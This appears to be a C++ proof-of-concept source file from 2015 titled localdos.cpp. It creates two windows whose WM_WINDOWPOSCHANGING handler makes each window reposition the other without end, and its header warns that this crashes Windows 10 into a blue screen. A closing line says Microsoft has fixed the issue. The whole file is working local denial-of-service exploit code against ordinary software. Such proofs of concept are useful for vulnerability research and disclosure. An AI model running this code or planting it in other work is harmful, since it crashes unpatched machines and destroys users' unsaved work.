localdos.cpp

/************************************************************************/
/* !!!!!!!!!!!!!!!!!!!!!!!!!!!!Warning!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 * This code can make your windows 10 machine run into BSOD!
 * 
 * Tishion @ 2015-11-21 10:45:17
 * tishion#163.com
 * 
/************************************************************************/

#include <windows.h>
#include <tchar.h>

// Global Variables:
#define WINDOW_CLASS_NAME	_T("MainWindowClass")
HWND g_hWndMaster = nullptr;
HWND g_hWndSlave = nullptr;

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	if (message == WM_WINDOWPOSCHANGING)
	{
		LPWINDOWPOS pwp = (LPWINDOWPOS)lParam;
		if (pwp)
		{
			if (pwp->hwnd == g_hWndMaster)
			{
				SetWindowPos(g_hWndSlave, HWND_TOP, 0, 0, 0, 0, 0);
			}
			else if (pwp->hwnd == g_hWndSlave)
			{
				SetWindowPos(g_hWndMaster, HWND_TOP, 0, 0, 0, 0, 0);
			}
		}
		return 0;
	}
	return DefWindowProc(hWnd, message, wParam, lParam);
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPWSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
    UNREFERENCED_PARAMETER(hPrevInstance);
    UNREFERENCED_PARAMETER(lpCmdLine);

	WNDCLASSEX wcex;
	wcex.cbSize = sizeof(WNDCLASSEX);
	wcex.style = CS_HREDRAW | CS_VREDRAW;
	wcex.lpfnWndProc = WndProc;
	wcex.cbClsExtra = 0;
	wcex.cbWndExtra = 0;
	wcex.hInstance = hInstance;
	wcex.hIcon = nullptr;
	wcex.hCursor = LoadCursor(nullptr, IDC_ARROW);
	wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
	wcex.lpszMenuName = nullptr;
	wcex.lpszClassName = WINDOW_CLASS_NAME;
	wcex.hIconSm = nullptr;

	if (!RegisterClassExW(&wcex))
	{
		MessageBox(nullptr, _T("Failed @ RegisterClassExW"),
			_T("Error"), MB_OK);
		return FALSE;
	}

	g_hWndMaster = CreateWindowW(WINDOW_CLASS_NAME,
		_T("MasterWindow"), WS_OVERLAPPEDWINDOW, 100, 100, 320, 480,
		nullptr, nullptr, hInstance, nullptr);

	g_hWndSlave = CreateWindowW(WINDOW_CLASS_NAME,
		_T("SlaveWindow"), WS_OVERLAPPEDWINDOW, 580, 100, 320, 480, 
		nullptr, nullptr, hInstance, nullptr);

	if (!g_hWndMaster || !g_hWndSlave)
	{
		MessageBox(nullptr, _T("Failed @ CreateWindowW"),
			_T("Error"), MB_OK);
		return FALSE;
	}

	ShowWindow(g_hWndMaster, nCmdShow);
	UpdateWindow(g_hWndMaster);

	ShowWindow(g_hWndSlave, nCmdShow);
	UpdateWindow(g_hWndSlave);

    MSG msg;

	// Main message loop:
	while (GetMessage(&msg, nullptr, 0, 0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

    return (int) msg.wParam;
}

This issue has been fixed by MS